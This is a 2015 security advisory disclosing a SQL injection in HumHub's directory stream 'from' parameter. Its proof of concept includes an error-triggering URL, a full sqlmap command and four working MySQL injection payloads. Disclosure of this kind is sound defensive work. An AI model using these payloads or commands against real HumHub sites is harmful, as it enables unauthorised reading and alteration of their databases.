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LSE Leading Security Experts GmbH - LSE-2015-10-14 - HumHub SQL-Injection



=== LSE Leading Security Experts GmbH - Security Advisory 2015-10-14 ===

HumHub - SQL-Injection
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Tested Versions
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HumHub 0.11.2 and 0.20.0-beta.2

Issue Overview
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Vulnerability Type: 89 - Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Technical Risk: high
Likelihood of Exploitation: high
Vendor:  HumHub GmbH & Co. KG
Vendor URL: https://www.humhub.org
Credits: LSE Leading Security Experts GmbH employee Eric Sesterhenn
Advisory URL: https://www.lsexperts.de/advisories/lse-2015-10-14.txt
Advisory Status: Public
CVE-Number: ----
CVE URL: ---


Impact
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Enables to read and modify the HumHub Mysql Database.


Issue Description
=================
While conducting an internal software evaluation, LSE Leading
Security Experts GmbH discovered that the humhub social networking
software is subject to an sql-injection attack.


Temporary Workaround and Fix
============================
LSE Leading Security Experts GmbH advises to block
access to the humhub software until the vendor
provides a patch.

Proof of Concept
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Opening the following URL

http://localhost/humhub/humhub-0.11.2/index.php?r=directory/directory/stream&limit=4&filters=entry_mine,visibility_public,&sort=c&from=5%27%22&mode=normal

shows the SQL-error, which is easily exploitable using sqlmap.

./sqlmap.py -u 'http://localhost:9933/humhub/humhub-0.11.2/index.php?r=directory/directory/stream&limit=4&filters=entry_mine,visibility_public,&sort=c&from=5&mode=normal' --cookie='pm_getting-started-panel=expanded; pm_new-people-panel=expanded; pm_user-statistics-panel=expanded; pm_new-spaces-panel=expanded; pm_spaces-statistics-panel=expanded; sin=f9vou17vnik100rrr5b26v8ip3; CSRF_TOKEN=d94129bfdd49e5d2c628928228519cd6b2c9cf54' --level=2 --risk=2  -p from -a

...

---
Parameter: from (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: r=directory/directory/stream&limit=4&filters=entry_mine,visibility_public,&sort=c&from=-4670 OR 5804=5804#&mode=normal

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: r=directory/directory/stream&limit=4&filters=entry_mine,visibility_public,&sort=c&from=5 AND (SELECT 7208 FROM(SELECT COUNT(*),CONCAT(0x7170627671,(SELECT (ELT(7208=7208,1))),0x7170786b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&mode=normal

    Type: stacked queries
    Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
    Payload: r=directory/directory/stream&limit=4&filters=entry_mine,visibility_public,&sort=c&from=5;(SELECT * FROM (SELECT(SLEEP(5)))OXGN)#&mode=normal

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: r=directory/directory/stream&limit=4&filters=entry_mine,visibility_public,&sort=c&from=5 AND (SELECT * FROM (SELECT(SLEEP(5)))nBYr)&mode=normal
---



History
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2015-10-14  Issue discovered
2015-10-15  Vendor contacted
2015-10-15  Vendor response and hotfix
2015-10-20  Vendor releases fixed versions
2015-11-30  Advisory release

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